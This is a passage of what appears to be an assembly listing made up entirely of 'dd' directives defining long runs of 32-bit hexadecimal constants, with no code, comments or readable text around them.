482F1F7h, 0DD1378E4h, 3010A2FCh dd 0C55C2596h, 2F0621FAh, 0C32C1DF1h, 0C3801B03h, 0ABCB83CDh dd 59C0AFEBh, 0BC234668h, 95B14161h, 0FE3260C0h, 14F7C148h dd 52D0E56h, 36F40520h, 0D5879B85h, 6FCE08F7h, 8730857Ch dd 676703BAh, 55F10E4Dh, 0D68D6EA5h, 0A9398A20h, 79E45636h dd 74A09710h, 5B357E47h, 6B09DA98h, 74C71BA7h, 0F33C13h dd 629B4918h, 515232FFh, 69656804h, 3EC06C25h, 3B7295E1h dd 0F100134Dh, 3A61053h, 449DCA89h, 82BB04C5h, 0F00FC95Bh dd 51165039h, 9C09403Eh, 0A0E2D198h, 6E8A258Ch, 0AC80C318h dd 0B353CEA8h, 0D8286919h, 16A5955Ch, 0C8B7BCCEh, 9DEDE911h dd 0C25E2704h, 24506B1Ah, 3E2F6813h, 1B1ADACh, 49612EF5h dd 0C111404Ah, 0D7010199h, 168FABA4h, 2FC7B125h, 0D212821Eh dd 0BEB99340h, 25438E02h, 8068D9F7h, 281419F1h, 4E9B642Ah dd 0B87542F0h, 902D4BE4h, 321C09B1h, 73484A4Ch, 0E767F09h dd 26CD804Eh, 9D57EE24h, 70D29261h, 11BF502Ah, 0AF568CFh dd 470DAF97h, 72DA29A7h, 0D79B849h, 7425073Bh, 0AAD208A3h dd 0A022D941h, 36422D9Fh, 808BC945h, 66A95E14h, 5E5AFD10h dd 0CA9F42A2h, 0A4DAD5C0h, 69631ACFh, 50F8285Ch, 7B9C3168h dd 6946A173h, 3A8C168Dh, 4BEF7D34h, 0CA616E82h, 0F0E35856h dd 41A65E5Fh, 55093642h, 0E85853E9h, 0E8908DB0h, 2F41882Ah dd 6A057AA0h, 148FE02h, 64D3E9FAh, 7DF37737h, 9ED399D4h dd 0D37A5754h, 2DB9CDDBh, 0CA8B8F18h, 7405EB59h, 5457809Ah dd 6353685Fh, 481E4193h, 0AB77A87Eh, 0E17CFAA4h, 17051D24h dd 0EF31F10Fh, 0CE290020h, 929EBAE9h, 53672766h, 0C327E466h dd 0A45F5151h, 4FCF00BBh, 0AD2D2C1Eh, 1A98C9FEh, 0AB01E21Fh dd 0FF0120EDh, 0F766100Bh, 0C0132E2h, 64E33EE9h, 1212F846h dd 52A002AFh, 975BF268h, 602411E6h, 858383C5h, 0D2264509h dd 421F4AF7h, 4817F7F7h, 0F890721h, 208A72A3h, 8C80936Dh dd 8C240AF6h, 0D208123Dh, 8F336651h, 4C42CE27h, 0C608205Ah dd 3456681Ch, 0E6063892h, 4CC7097Bh, 70572E2h, 93C500Fh dd 369053E1h, 6F12B6C2h, 13013229h, 31A25ED7h, 0DC48452Fh dd 1335FA2Ch, 0E9316CBBh, 826C514Ch, 40C8BE0Fh, 9DF1134Dh dd 0E982669Eh, 408132DFh, 0F3ABB0Ch, 54016545h, 5B5A08E7h dd 11829DECh, 0DCCBEB96h, 809C406Bh, 0C0F20EECh, 0CCC603E4h dd 3C5C122Fh, 0C4E52FCEh, 995048C2h, 903DAA17h, 2B050215h dd 0CB044607h, 33F5C201h, 0A32BB4A1h, 0E6F5D213h, 494FDC40h dd 0C14E07C0h, 308106E6h, 373C7DE4h, 0F0DEF72Dh, 52630B59h dd 0FD89AD2Fh, 51F218ABh, 3FBED17Bh, 830D8949h, 0BAC8B5BAh dd 8364E323h, 0DE4EEFE8h, 83224B3Fh, 0E91AF602h, 65EAE85Eh dd 41221E13h, 9CEE9CFh, 0D18C046Ah, 0E7239192h, 14A3A14h dd 309647E5h, 515000B6h, 0CA12830Ah, 49D035D8h, 76155F3Ch dd 0ADF25068h, 601F582Dh, 0DBF1EF27h, 0DE8A5E96h, 0F8B5E9C4h dd 0FA9D5B06h, 0C7688484h, 56EBB373h, 87A69734h, 1C8BDF27h dd 0BD028842h, 8ED69DA1h, 0B581C7E5h, 2238DD46h, 65BD0CA6h dd 4BC828F0h, 0E81A1353h, 0CCE1B53Fh, 4B05C860h, 6B60C836h dd 70D9140h, 74284A31h, 374D1235h, 0C9824740h, 95B296B8h dd 25479149h, 9B15C5Dh, 298B7390h, 95B31D00h, 0C0BDF0D7h dd 5EE821ABh, 0E9E6C15Dh, 0EC076A66h, 0FE1310BBh, 2EBE835h dd 82CB0581h, 96BDB0Fh, 0B8E6FCFAh, 81307898h, 805915E4h dd 787BEDh, 0B05007B6h, 0E9C0FEC8h, 0B1F73863h, 6102E0Ch dd 52071FFFh, 682FA01Bh, 186C5E27h, 2737B19Ah, 3258337Bh dd 0C8134BE6h, 0F30ECC84h, 67200693h, 135873F4h, 4122E9F9h dd 6B60BA6Ah, 75FA6002h, 6CD2ED4Fh, 2DD0A0A0h, 5A5450C0h dd 486F133h, 932CA207h, 0CA26FF22h, 0C401D799h, 0C234D00Bh dd 512D8978h, 5EF7605Bh, 654D2417h, 2B5F0126h, 0EBE9141Fh dd 0B85C4D30h, 2856D01h, 58C32931h, 30C4EB81h, 57E912C2h dd 28ED5933h, 5197CAFCh, 28852FB4h, 13BB0558h, 4CA4BD3Eh dd 60AF92E0h, 0B1E9D02Dh, 0E34F24E5h, 0FD162316h, 9A6CC814h dd 4048DC80h, 62CC96F3h, 3FE9D418h, 9FDA01F3h, 7D3BCE60h dd 47381D1Fh, 5F7D7FD9h, 0B94E283Ah, 7A054A70h, 5E1C139h dd 7ECE085h, 5D03BB3Ah, 0DD897664h, 1CED7E16h, 0C06EDF0Eh dd 3E0C42F5h, 0A645484Eh, 29ABA307h, 0E9EF2055h, 1FB1B7F9h dd 402B609h, 44F11292h, 5D1E093Ah, 7F7233DCh, 2BE9EA90h dd 0EDEDCF65h, 2B017C13h, 607867BFh, 5794F30h, 31E7E30Bh dd 27A882D5h, 0F7D14A03h, 68B65482h, 0D2C4004h, 44353C04h dd 0A562FD0Bh, 39D67875h, 8D531068h, 387DF858h, 0F4CA2D29h dd 0F5BA0A61h, 3513EBF4h, 0FFA87DB4h, 0B3A7824h, 0ECF6017Eh dd 9496E9C1h, 482D8281h, 2127D725h, 0EF54063h, 5F40BC6Bh dd 1ABA133Ah, 4854B8C8h, 0AEC31861h, 13CAEAFDh, 14AD77Dh dd 7BB9A6C1h, 3DC03FD2h, 0CFA056E9h, 4BA1C229h, 0DB012CECh dd 58083840h, 0C56B579Ch, 5E98937h, 9CC3C26Ah, 985BA42Fh dd 6237E9EBh, 0F6806A90h, 0CAF0B3C0h, 47E525BDh, 0FA621BBh dd 7EE72E4Ch, 13364B7Bh, 0C4F9BD71h, 5F620B83h, 0E8CF40F6h dd 89BA1E1Eh, 31064071h, 3C4AFAD7h, 3BFBE684h, 0C5B10B5h dd 107C680Bh, 53C0AF7Eh, 48664CBBh, 9476D828h, 0DE4F2F14h dd 670B8E21h, 89E9594Eh, 16DC2721h, 46514160h, 0C3312947h dd 569B1294h, 7BC2B30Dh, 0FB80C04Fh, 1E400AB8h, 0D5480785h dd 995B9F20h, 3B52E6F4h, 588E3220h, 0B1D105Ch, 16680431h dd 12CDAE3Bh, 1D829CA6h, 0EB04A27Dh, 156CAA74h, 0AB94380h dd 0C7B61E6h, 60E5653Fh, 5FB43635h, 66D02803h, 62C8825Ah dd 1668D9CFh, 472D4A3Ch, 815D85D6h, 1E83AEF6h, 0BD80E366h dd 3B714399h, 95958DF0h, 84C1FB13h, 6B894A8Eh, 7A727EEDh dd 0F10FAE53h, 2D09365Eh, 0C25523E0h, 5AD081C7h, 0AEDD246Eh dd 0C65162Ah, 8A5EAD02h, 0B5403E53h, 1C58073h, 0FEDDF62Eh dd 0D9E586CDh, 0C00881D4h, 0F7E902EDh, 167C3675h, 2BD9E710h dd 591FE35Bh, 6E882A74h, 71670F42h, 0B0895733h, 1565112Bh dd 0F71785C2h, 0FBD2DAB3h, 5565F7F8h, 0EABC3850h, 0CEBD8F2Eh dd 0AB600D0h, 35585469h, 371D02D3h, 6E0C122h, 0A9F4CC85h dd 0D331C2D7h, 6980775Ah, 466E2A50h, 0A32EEDBDh, 97E904E7h dd 0C9CCE8F6h, 9587505Fh, 28BBE659h, 0EAB7F055h, 4C39C17Ah dd 0F2E6F216h, 0FB5D88BDh, 6D254028h, 0E471932Bh, 7F0A2A1h dd 5E7B954Ah, 0A5E5FFB7h, 15E043D4h, 0D1061B31h, 12005CEFh dd 0FA210BE2h, 0B0DAF726h dd 297D03ACh, 0DF877FA6h, 816D3D3h, 0DC543EE9h, 0A0B6103Fh dd 573D041Fh, 86F0478Ch, 3230E2F0h, 6E4BB252h, 0DCF0B113h dd 77DE13C1h, 0FD20F1BFh, 25A03C82h, 8B1535Ch, 3116A61Ch dd 452536E8h, 0D5530409h, 0F5409ABEh, 254A5F61h, 76603277h dd 0C802C44Eh, 0B1402FD5h, 3F70B05h, 217C3AEEh, 24EA0720h dd 342DD7F4h, 0AC35945Eh, 0F12905C9h, 0ACAD46E9h, 0ED67A1F6h dd 0B514B9BBh, 1A006299h, 686F436Dh, 0F7A67779h, 4504D1B4h dd 72C65874h, 25D0009Eh, 4BDF385Bh, 89B568E9h, 72A876A0h dd 0DA64BC7Ah, 12BB6617h, 6305BE8Ch, 47AB3F60h, 0FE7F2119h dd 0B95CCA6Bh, 0FC084216h, 0F5C0435h, 5985BAC8h, 50F4D700h dd 4AE9155Bh, 0E39C8542h, 17FA3E9Fh, 0B7E3AFh, 12DCF696h dd 38EB7A02h, 139AAD10h, 0BCAFCC9Dh, 6D4EA77Eh, 530B8A31h dd 7D790162h, 0C43F82A4h, 0BDCC5305h, 0F2D94B4Fh, 32EA40E8h dd 0C4A83A75h, 10016B07h, 3FEF355Ch, 228F5159h, 71C40274h dd 251FBB31h, 605D4289h, 0D0459h, 1360697Fh, 8CAFC92Dh dd 0C631FB12h, 49278F81h, 72D29707h, 98779665h, 82027807h dd 0E6B554C1h, 48ECBF00h, 0B86501CBh, 9A34B716h, 0AED86F01h dd 0C2BEDE89h, 0CDE2E9FDh, 0C0B03966h, 745CE37Fh, 13EB1995h dd 366D7AC8h, 68E80841h, 8668B5C7h, 0C6B71430h, 0A1C64B73h dd 44CD6E65h, 6B94BDEFh, 312C22B9h, 5BF9C95h, 852AE52Ch dd 4E4AFCAAh, 0E983BEA7h, 4D24F0E5h, 8B0038E6h, 0F738DE15h dd 94258D2h, 0CA08204Ah, 625A63F5h, 77F111B0h, 0F0DF4AEBh dd 2E69CECAh, 68A90358h, 0DDB3ECD5h, 0F27C6C07h, 0DDD28B6Eh dd 0BA787609h, 82BD5638h, 163FEAF6h, 96123BDCh, 59E5BE1Ch dd 0BA9A090h, 2882D9Fh, 0D849177Eh, 9794F0EAh, 81F6AD05h dd 6E113885h, 6FD91620h, 0EEA5E337h, 669BA76h, 18473BE8h dd 0F04A05EAh, 880195D4h, 0E9D38975h, 423B1AB9h, 1B8D3CDCh dd 20D7A987h, 86E9E472h, 7C583040h, 5250F028h, 0E101B610h dd 1232939h, 836A0F3h, 9F636C9Dh, 0E913776Eh, 0ECE335EBh dd 9C88210h, 0F458C301h, 92D20BABh, 816879B0h, 13234D49h dd 41D0A4D7h, 7BBD7E26h, 0CBEF258Fh, 0D409F6C6h, 767A3460h dd 0E812393Dh, 0DD7F0B6Fh, 80B57744h, 0DA03ED87h, 7D6A12Eh dd 0BD738600h, 0F25B4B98h, 515E3009h, 8C64A7B6h, 8FDE916h dd 92092B8Ch, 0C4681257h, 0A4F7F850h, 5936EE09h, 0C61ACA3h dd 81691E86h, 32A52FEFh, 4BB6B090h, 0A65AC8h, 28D9B353h dd 0BF045BD8h, 2C74F0EAh, 17B1513Eh, 0CF82BDE9h, 7861545Ch dd 225A2EE9h, 0D4682330h, 0CF46B52Ah, 16FE925h, 7EFC127h dd 0E3DA06BEh, 407E51C7h, 32BFF777h, 31FCD409h, 5520B2F9h dd 0F304DA16h, 386203A5h, 16845EE9h, 56BD00D9h, 0F42D180Ah dd 3B73BA35h, 8AAE21B2h, 0AD5D9F4Fh, 55B74DAh, 0DDEA7EB5h dd 6CE988A1h, 0E55D2ACDh, 0F1B964CBh, 2836CABDh, 0A3204AE7h dd 0D01701Ah, 0EB29E1BCh, 0AD7548E9h, 3F7ECA2Eh, 323490FBh dd 2C005B2Dh, 0B061592Dh, 14FD184Dh, 92F831h, 0CA3A27EBh dd 1EBD552Eh, 65CD3306h, 2D029C7Ch, 0C045B393h, 704121DFh dd 0E3D1351Ch, 44A00F9Eh, 0C36CE66h, 0C83CA9EEh, 1ADDA5E2h dd 9F648015h, 1A649E7Dh, 745EF531h, 0E9DCC857h, 0F81554DEh dd 0C8AF2C0Fh, 0B9C17D6h, 0BC9387B6h, 59F84CBDh, 2C0FC33Eh dd 0A41CB81Eh, 0B7004A0Dh, 5BF90898h, 80E1D001h, 0B65224F1h dd 5AD9E821h, 833FCBC1h, 0FE85A0ACh, 0E949E71Dh, 68C6C0D3h dd 0ED1B4A1Ah, 0ADBAC4FAh, 0A602FB12h, 8EFB542Fh, 18886DF8h dd 58174ABEh, 0C902A817h, 44DEA98Dh, 0CD5069E2h, 0E9D0C076h dd 0A3305EDFh, 40D3254Ah, 4E8B589Fh, 409B960Ah, 0CD23F197h dd 0E2E22B1Dh, 0C0C5CF8Bh, 0F33C3309h, 685C046Ah, 0E97FD1ECh dd 589138C2h, 8DE418BEh, 9620BA0Ch, 81C4051h, 28B743CEh dd 0D12D083Fh, 95D5A08Ah, 0D3010E68h, 0E0E5E5A0h, 0ED80D7C0h dd 0EAD52835h, 71F9EBC5h, 39C0B734h, 0ECAC05E4h, 43690838h dd 0E24B512Fh, 5D091EE6h, 9A0B838Fh, 539D0EF8h, 95080BB9h dd 253D5773h, 5B4E04E1h, 372706BCh, 5F542181h, 18D07650h dd 0C6D348F9h, 28631327h, 7A8E0B72h, 55764278h, 392C6227h dd 9D7F5631h, 0B202CE4Ah, 469477D4h, 5F8204B5h, 820864AFh dd 0F2C8C914h, 87673C88h, 120E0FBAh, 7E572CFBh, 0B574AE4Eh dd 0E2BFE5B4h, 1FE7002Bh, 0D4416851h, 0F39AE018h, 0D026914Ch dd 128147B6h, 6140FAE5h, 0D15569EEh, 79449D52h, 9968E90Ch dd 28F51E5Bh, 7CAABFFDh, 0C1B4AF7h, 0D7C8AD6Dh, 560FB26Bh dd 9B8A6F18h, 34392A4h, 0CA5DA81Ah, 7DAC0590h, 0E93B0A05h dd 0AF401CE8h, 0D53C97F1h, 96D39B7Bh, 6E14B19Eh, 0BED7DF63h dd 0ED5A4A16h, 0BF0F803Bh, 4AF068C8h, 18A16970h, 0FE5929D0h dd 48680921h, 0EBACF96Ch, 0E98B9D53h, 0BEE16078h, 0C72F00B7h dd 0F443B90Ah, 6D9E1395h, 8C3D8126h, 74E1A2DCh, 2F7714CDh dd 3306A834h, 8062EB76h, 0D089CD0h, 12CE015Fh, 0E4051704h dd 44BE4796h, 0BB997210h, 10193C62h, 82828507h, 7F1B335Dh dd 4FFED59Eh, 6CA1DF55h, 40A11C3Fh, 0C2444559h, 3039BB00h dd 9D82A45Eh, 1E9E9801h, 5BC2F2Dh, 0A5C71C80h, 802879Ah dd 0E95FFB09h, 0B6EC6895h, 400FB87Ch, 0DA4801F5h, 1F5E0781h dd 0A810CB1h, 5A6B5B5Ah, 5D5CB225h, 5C9450ADh, 2E172F3Ch dd 0FB4095F2h, 0C229064Ah, 6020B492h, 3D4094E2h, 0AF982ED8h dd 0C6B516BFh, 0F6DD3025h, 694C2D27h, 3DE2E913h, 6882FDBCh dd 30D57001h, 9FDE1B40h, 59CDA7B8h, 48E2E2CBh, 0C656900h dd 0D1295B2Ah, 14BD2D92h, 2FBFA74Ah, 5CC70A2h, 0C2989357h dd 25B7744Ah, 71A694FEh, 8BEBA839h, 436D3B01h, 0B9515D2Ah dd 0E903D13Eh, 0EC02C0Fh, 67E6EF80h, 0C76386F7h, 4EF0CFD8h dd 450F928h, 0E83467B0h, 1249A8C0h, 0ADE8F784h, 4E24CC9Ah dd 278FB154h, 7CF6485Bh, 3BDD740h, 5267464h, 3FE0C581h dd 0CDEC7AEBh, 5830FA74h, 450E5279h, 0E91E1538h, 5D25A3D4h dd 410752D4h, 1646C981h, 0FA84ED70h, 807F7A21h, 0EC43929Ch dd 0C8316904h, 0CAA8959h, 537ABCACh, 541CF727h, 7FC370B5h dd 0A913C14h, 0BCA513F2h, 48DE6DB8h, 5B0B38A9h, 5EAE9457h dd 0DF2A84B7h, 0E0F75AC5h, 9E48EF2Fh, 0E65E55E9h, 25844275h dd 2DC998BEh, 0B6E3EA44h, 0BCF3C588h, 3BA9013Ch, 32D1171h dd 971D4EE4h, 27E68D08h, 0FA059A04h, 4E050254h, 7DE90DF4h dd 0EB4FC4EDh, 0FB569266h, 0BA61D874h, 0C878907Ch, 3713112Fh dd 62447800h, 514069C2h, 17BD1F55h, 0E97F023Dh, 59052C15h dd 0D51C9C64h, 0E0D30249h, 0B1ABDAFh, 0F6E974B1h, 82F4325Ah dd 7DED5781h, 6FDC997Ah, 968394Fh, 4128F40Eh, 568ACFE9h dd 0A1242A5h, 19416E96h, 6BBB28CAh, 0F76A4600h, 80B1E40h dd 1A49B1Fh, 24C62D0Fh, 67FC277Eh, 0F01F91B4h, 0D82801C5h dd 8A6E886Ah, 3DCB3759h, 5D68F83Ah, 0AE07D5C1h, 9C4DB79h dd 0E4220B12h, 18EC045Ch, 493ABA45h, 6882215Ch, 31467A05h dd 0A642D194h, 92864BAh, 412027AAh, 711C8BD5h, 83101312h dd 8A015B25h, 536218F4h, 34CCF681h, 0B0264A14h, 0CE1B87A8h dd 708D9F7h, 9F8CA81Eh, 0DF2912E9h, 53AF995Dh, 0C3A5D8EDh dd 62C290ECh, 589828CDh, 38A40013h, 0E38102CEh, 5D787707h dd 0FD28E912h, 42089B9h dd 70E5D0E1h, 9FD8C8A1h, 0B894A3Ch, 60BBFEC0h, 0ED017FBh dd 9029390h, 0E9F12FE8h, 0D1626A1Fh, 9E7CA07h, 8ECC2759h dd 2843A8A9h, 29590AB2h, 0D605A2D8h, 3CC08371h, 2624C9C2h dd 2F783263h, 37E064C9h, 79D02F77h, 685760B3h, 4B2712A4h dd 0D6DD0048h, 95292046h, 0CBCC8A68h, 2BC2A5Ch, 4D76C3B9h dd 9C89FF3Dh, 3850C03h, 9AE245D2h, 34080488h, 3817141Ch dd 0B83FC45Fh, 62DC861h, 0E50B46B8h, 57F0784Ah, 305470BEh dd 0CF803B9Fh, 22501115h, 7F18E9F4h, 670C636Fh, 49F717E8h dd 0E7A3E029h, 1EFCFBD7h, 0FDFA7584h, 194A6036h, 9030AC1Ah dd 0C1D340BDh, 0DA08E22Fh, 0B67A04A0h, 0EB21B01Dh, 82ED3D00h dd 1711193Ah, 218E40E9h, 258F3Bh, 0A058C109h, 9026D7B3h dd 149098FFh, 8FCE895Ah, 5DD3C702h, 0EF252425h, 0A7440817h dd 0BC10ED40h, 7764CC0Eh, 4DBA0520h, 0E9791FC8h, 27E2C14Bh dd 5205588Bh, 0EE3EC0Bh, 415C2CACh, 7B55147h, 0E9C8F03Bh dd 98B8682Fh, 828B6367h, 0E909FACDh, 2F61F6BCh, 0B0B74AE6h dd 8118CC28h, 93CB7F59h, 5AC413Fh, 1292AC35h, 0FE9A854Ch dd 4C217329h, 4E265B68h, 40B710DFh, 0BD60D5DAh, 331FEAF3h dd 12512B3h, 87310F2h, 64765E2Ch, 0D425F13Eh, 679F7FFBh dd 30192680h, 0F380591Dh, 6187C14Dh, 8B210406h, 0BFA19589h dd 66411EB2h, 0BD8D7F09h, 0E60E2D1h, 0F73C009Ah, 0CCE7811Fh dd 495B5F20h, 0D3887BE0h, 9304BEBFh, 88FA11B5h, 0DA4EE5C7h dd 4984F3A2h, 9AB1E2D9h, 84D8C370h, 6DD08FF9h, 0B5E0E2C6h dd 585796BDh, 1B103451h, 0CB291B8Ch, 32B2E725h, 0E6A8E8CEh dd 28F6E662h, 3AE02C39h, 0E91604F0h, 535BF020h, 0B964B72Eh dd 0B109B817h, 0FE370095h, 0D0F6C8h, 30B2B652h, 0F2045AF0h dd 70EFF9FCh, 0E70BC0FCh, 2E23E908h, 0EE30BCFh, 70F232B3h dd 7D655125h, 9086800h, 5AE965AAh, 0D0CC922Ch, 0A8E484h dd 0F470B1B9h, 0CD892771h, 0E501FDDBh, 62017AD7h, 16DBAB20h dd 0F1348C23h, 2BEA4044h, 0F509B46h, 25769CD2h, 521CC1BDh dd 955CE630h, 804176Ah, 9C8ABB5Dh, 5718984Bh, 0A7807C94h dd 2D163E25h, 0C05F3E8Dh, 7B94F0DAh, 13B4C2Dh, 257CE95Ch dd 4C4EFAFh, 0A7BF07ECh, 0B3A2C36Eh, 0ABFB6268h, 5974F48Dh dd 71B22B54h, 1276B902h, 12FFEF8Eh, 0A84155CDh, 98886BEBh dd 29194087h, 10CA5C59h, 596A9D81h, 4FCF1027h, 7FB0EF82h dd 0E913FF34h, 39ADF20Eh, 0FC31FBD2h, 5F349EE9h, 0D1C21E09h dd 216549E2h, 808F4CDEh, 0D6973ECEh, 0AC68B080h, 45DC661h dd 0E62D1527h, 8B511972h, 98581C64h, 224BC5h, 87D1F752h dd 0D9E581CFh, 0CE40FA1Dh, 0BD0AFBEFh, 0BD01BF5Dh, 2C08304h dd 28C920E8h, 7DDC2BC8h, 93CE7B97h, 0EC76C4EFh, 0E80F2F3Fh dd 0FE52E3ABh, 86E3A872h, 0E2C012FAh, 2650805h, 39906692h dd 13B7E9B4h, 13CFFEA4h, 0AB88858Ah, 0D07F3C29h, 0D3BD55CDh dd 40CB461Eh, 0E1C511D2h, 2E173DEBh, 0FC9678E2h, 6856C064h dd 16983646h, 0F0D7E96Ch, 28BC549Fh, 15045C6Ah, 0DEE514Bh dd 0F00606BDh, 0FB163548h, 0EF032C53h, 1661E9C7h, 0E83B5C8Dh dd 9B412A36h, 696F9BB4h, 5AFCA0B8h, 0B803EAC1h, 93F87C90h dd 2F540935h, 0C60ACD5Ah, 0C3720721h, 705CF010h, 50850500h dd 712D519Ah, 4FAC2913h, 2F8DEF54h, 6278F912h, 73C5BDC5h dd 809F67A8h, 1018BF24h, 346A7A71h, 802CAF80h, 4675B893h dd 0D5FF303h, 0A8DB6CDDh, 1D02AE25h, 80407494h, 52EE3585h dd 4F1EFE05h, 201471C8h, 89B7128Ah, 0CC0B09BBh, 40631AF4h dd 681028ABh, 295B2544h, 0EB9C47ECh, 25407DA4h, 2535076Dh dd 69CA055Eh, 898CD488h, 0EA00D3F7h, 37E801DEh, 29E3FCC1h dd 0D8E7D423h, 0BF307EE9h, 0BD09783Ah, 0DA87FB40h, 64B6Bh dd 0E70AA7E7h, 0E1810748h, 192564ACh, 7B8C4080h, 2BF0C7Ah dd 0E2CA010Ah, 1227CCA6h, 0FB28E568h, 802EA829h, 0BF70C51Ch dd 1DAC324Bh, 81622100h, 0C1890C1h, 2E9E1B48h, 0B981463Ch dd 1D130D09h, 45848482h, 1F47028h, 6C41048Eh, 48247B58h dd 2C05C5A8h, 0ECC2884Eh, 0D7B0A7A9h, 58F8285Ah, 358AEA66h dd 5558A7CAh, 427D5509h, 67658EE7h, 0E9C18A58h, 0CF543E9Ch dd 296AC8EAh, 4860F97Dh, 4F25BB3Fh, 7C157C57h, 0BD4A73DFh dd 0E8281798h, 0C340C798h, 7E290ADh, 53EC3FC9h, 9A43B105h dd 2DDA4279h, 0E95D0781h, 0C6876CC8h, 41B2555Bh, 4B506D9Eh dd 525138A9h, 7C44A22Eh, 0F34E1009h, 82ACF22Dh, 0F43C8408h dd 18D50509h, 7FE33726h, 3034D0Dh, 79F9011Bh, 304A1DD2h dd 0F8BEC2DBh, 8831A3CAh, 0FAC41212h, 89F244AEh, 0C8290018h dd 2C4C992Dh, 257A5ADFh, 2345085Eh, 2FBE2A90h, 2027256Ch dd 0C242E28Bh, 0D950257h, 0F067660Ah, 8ACB5D42h, 0BDF8CA2h dd 7143C213h, 7176CB59h, 37B2CAA0h, 93CD873Bh, 3B20365Eh dd 182A7E2Fh, 4D6F777h, 0D573C681h, 429D88E4h, 6B8974D2h dd 776AA9FCh, 502629E0h, 84D19D15h, 7B4F5802h, 6CA6403Bh dd 0F865E676h, 330B03CBh, 0E94B3C92h, 415AB9DAh, 6EA8680h dd 0BAC8F2F7h, 94B4468h, 0AA643B8Ch, 0D04F7FDBh, 0D6A4EB96h dd 0BB0609C6h, 34761819h, 75C50489h, 45BF8896h, 0C222263Fh dd 425DDDB6h, 0DCE057DFh, 166FCCE9h, 36D26239h, 832FC093h dd 0A131BFC9h, 0C5D6D32h, 0AC1D5AC5h, 26B39055h, 96689359h dd 52DE1ED9h, 0F8838406h, 745CA390h, 869E9E95h, 2E7A05E9h dd 0B00C3EBh, 32414925h, 0EA442D5Fh, 0A66DEB20h, 1093F75Eh dd 893A79E6h, 0D3A5CACFh, 0A8439DC1h, 29840F2Dh, 9B86197Bh dd 4065E105h, 3E588BD5h, 2E961424h, 0FC258139h, 4836516Dh dd 0EB012027h, 0E9381863h, 0C60A2B0Bh, 6841A25Fh, 307B3C80h dd 0D269CC7Ch, 9929022Fh, 453F5ECFh, 0A9EAEF5Fh, 26E9B111h dd 0CB4A3B68h, 94805B24h, 14685751h, 0ED484B75h, 2DA76A12h dd 0B48200C7h, 0C401806Fh, 94B151C7h, 0C728CC08h, 0B43DE9C2h dd 0A0968656h, 895AFA4Fh, 924370BFh, 485B72D7h, 0A04A3552h dd 804FF24Eh, 4E8E7BA4h, 0C45D8C7Dh, 485ABF40h, 0D42CAB66h dd 9E760913h, 5342E8D9h, 0B61E7FF3h, 51B2919Fh, 844F342Bh dd 5B6ED291h, 527A19F4h, 80655FDEh, 0D021593Eh, 1910E695h dd 3B1CBA52h, 0DB76056h, 0C796F13h, 0A6840FC4h, 530BB9B8h dd 0E2C02EB3h, 0EBD572Ch, 0DFE982BFh, 450E68Fh, 7A30180Dh dd 0A24FAF89h, 1D334359h, 8F35EB5Bh, 0D3DC085Bh, 0F51CCD5Bh dd 32B1205h, 1FF56FB0h, 8C06FA0Dh, 0E903FFEFh, 0B90FB160h dd 4E65515Dh, 2FA8A168h, 188F45F0h, 0CE03432Ah, 5C2C26F7h dd 0CB02DC3Eh, 0F19CD4Bh, 0B2CFE900h, 0D09F842Ah, 0A020B0BDh dd 3C4A6EEBh, 68896389h, 1DE66545h, 0ECFD1197h, 9F580434h dd 519DD49Eh, 780208A8h, 0DA40680Bh, 0CDA62028h, 229B0507h dd 0D9A57385h, 68C33FFCh, 2E7503C5h, 39238731h, 8404E4DDh dd 0F095FF86h, 88A3050Ah, 0A8282B82h, 29E814Ch, 8B70D9FDh dd 2719BCC4h, 0C981DADCh, 4F7B855Bh, 123ED130h, 0FF2ED28Dh dd 27949F04h, 0CB095B02h, 1620BDC4h, 0F0313BC7h, 819180B0h dd 2C186FE3h, 9D722E5Dh, 0EBAF2799h, 0B93F2BF4h, 0F6750EF3h dd 0EC2DE3Dh, 612B659Bh, 952EC4CDh, 0E04EC76h, 374B150Fh dd 1001C5B8h, 7BE94E04h, 60F951EDh, 0A40AA677h, 8502FFCAh dd 40170C3Eh, 89DCF5C1h dd 0A6367EE3h, 0A2699D7Ch, 3BD8F5E9h, 582FA2F3h, 302614CDh dd 408968C4h, 44BAA054h, 8A9298EAh, 0AA7260E9h, 3F70A55Ah dd 0A172C329h, 0EF225808h, 0BC009CD4h, 25411A19h, 0A5277495h dd 0D5E42Bh, 84423548h, 0C289BA3Ch, 4903585Eh, 0B90E6853h dd 0D54810BEh, 1E0C5CD0h, 2F195B81h, 73AD3075h, 0A2302317h dd 0C7201A56h, 5F3CCEh, 19685017h, 0E96D7643h, 5EC43A4Ah dd 51ED62EBh, 590985D6h, 4F02D41Eh, 0F7726E0Bh, 0FB24C700h dd 0FD89DDEBh, 100945Fh, 137F71Ah, 121116EAh, 0BE336DE9h dd 85EE4764h, 90F48205h, 2CF8AA94h, 0C828A11Eh, 49D34C7Ah dd 0F6F15F9Ah, 9E7750E0h, 160D4F04h, 85FA2939h, 128A920Bh dd 0A1E04B7Bh, 0BADB3E52h, 3A3CE909h, 0B650A329h, 4A67060Ch dd 10970C40h, 2419C86Bh, 891CC945h, 27947EC9h, 0FEA3301Ah dd 8E0C5975h, 7B22E9A1h, 0E6B85213h, 13275E78h, 7F5B8D16h dd 0F268290Fh, 0DADDFCB8h, 6EDEF345h, 6CAF2116h, 99D37421h dd 290E2CBFh, 8DB0EEBAh, 3ABDEA7Fh, 28018707h, 0A404FBDBh dd 0AD582C0Bh, 0E96F5F51h, 0B59670A3h, 0C7B7BF94h, 6CE90994h dd 0E58FF3FCh, 0B5CDE008h, 9816C342h, 39750C7Fh, 0F6842AA7h dd 6C50061Fh, 0D8F8F500h, 2C29219Bh, 3BE25DEBh, 55595561h dd 150DF868h, 2ECB737Eh, 7D1F86FCh, 2BCD2C46h, 0B1ED9226h dd 606C69A5h, 0AB3FC00Ch, 0BCE9F463h, 41046B3Dh, 55E68C46h dd 3940BD34h, 210505EBh, 2C3782D1h, 15953657h, 91B9B6E9h dd 767F703h, 0C3F52DCh, 0AD611783h, 661AB9ACh, 0F68327A9h dd 9E1CEECh, 90B142CFh, 0EB24EF24h, 0D85BA6CBh, 13246869h dd 2692541h, 0F956556Bh, 0D686BECBh, 609AA7E9h, 5DEE0D98h dd 9F5E68F2h, 0A9E823C9h, 44B2E8h, 30700478h, 8107E1C1h dd 5DCC907h, 216F4D03h, 71D56296h, 3B90D760h, 0F15B0120h dd 4254AFC6h, 0EB4C7D2Eh, 0C520D7ACh, 0D8F7249Eh, 0CC2E12CBh dd 5FBCDA41h, 7F2D4800h, 98265A6h, 4F58C731h, 8C3B480h dd 0A2FE1B8Dh, 41147D13h, 0D1480EBFh, 0CDE94861h, 86102D84h dd 95F98B25h, 